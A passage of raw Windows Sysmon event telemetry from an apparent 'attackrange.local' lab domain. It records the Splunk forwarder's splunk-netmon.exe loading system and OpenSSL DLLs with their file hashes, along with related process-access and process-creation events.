WindowsValid 734700x800000000000000053515Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.270{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000053514Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.270{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000053513Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.270{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000053512Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.270{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000053511Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.270{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000053510Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.270{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000053509Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.270{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000053508Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.270{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000053507Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.270{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000053506Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.270{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000053505Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.270{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000053504Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.270{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000053503Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.270{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000053502Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.270{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000053501Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.270{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000053500Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.270{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000053499Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.270{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000053498Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.270{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000053497Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.270{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000053496Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.270{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\nsi.dll10.0.14393.3297 (rs1_release_1.191001-1045)NSI User-mode interface DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationnsi.dllMD5=994E2A6D2A0B38E0968B3998E42033AC,SHA256=491F2D1DE09C39B324BCF5800198AC7CCE755F4023F1FEB3854D33716461BC27,IMPHASH=B01B7830101BC0D5FBDE4FFE2B170CF7trueMicrosoft WindowsValid 734700x800000000000000053495Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.270{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000053494Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.270{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000053493Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.270{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\IPHLPAPI.DLL10.0.14393.2339 (rs1_release_inmarket.180611-1502)IP Helper APIMicrosoft® Windows® Operating SystemMicrosoft Corporationiphlpapi.dllMD5=3CD38EDF9CA12F91131EDEE32D1C9DF5,SHA256=AF2440640BF8BDEAAF0DECDD7C354158E415ED0AA340ABA7A6CCCDC09C1E728B,IMPHASH=98738BA55485CCA932F6D222F47FFC55trueMicrosoft WindowsValid 734700x800000000000000053492Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.270{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\dnsapi.dll10.0.14393.4350 (rs1_release.210407-2154)DNS Client API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationdnsapiMD5=D7651F99299B13D576A72643BFC44944,SHA256=589302E630C473DBDF4CE92C59F00B029FCA0C228E7111A764166E16025FA1A9,IMPHASH=3C043C6FF0F62DAEB8819606F79C5ECCtrueMicrosoft WindowsValid 734700x800000000000000053491Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.270{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\secur32.dll10.0.14393.2273 (rs1_release_1.180427-1811)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsecur32.dllMD5=BCF1B2F76F8A3A3E9E8F4D4322954651,SHA256=46B327CD50E728CBC22BD80F39DCEF2789AB780C77B6D285EEB90126B06EEEB5,IMPHASH=0D8FF9DE2DA5C07D680347B1A098E759trueMicrosoft WindowsValid 734700x800000000000000053490Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.270{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000053489Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.270{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000053488Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.270{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000053487Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.270{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 10341000x800000000000000053486Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.270{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000053485Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.270{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000053484Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.270{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000053483Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.270{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000053482Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.270{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exeMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AECtrueSplunk, Inc.Valid 10341000x800000000000000053481Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.270{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053480Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.270{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053479Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.270{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053478Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.270{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053477Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.270{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000053476Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.270{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000053475Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.270{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000017213Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:18.776{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program 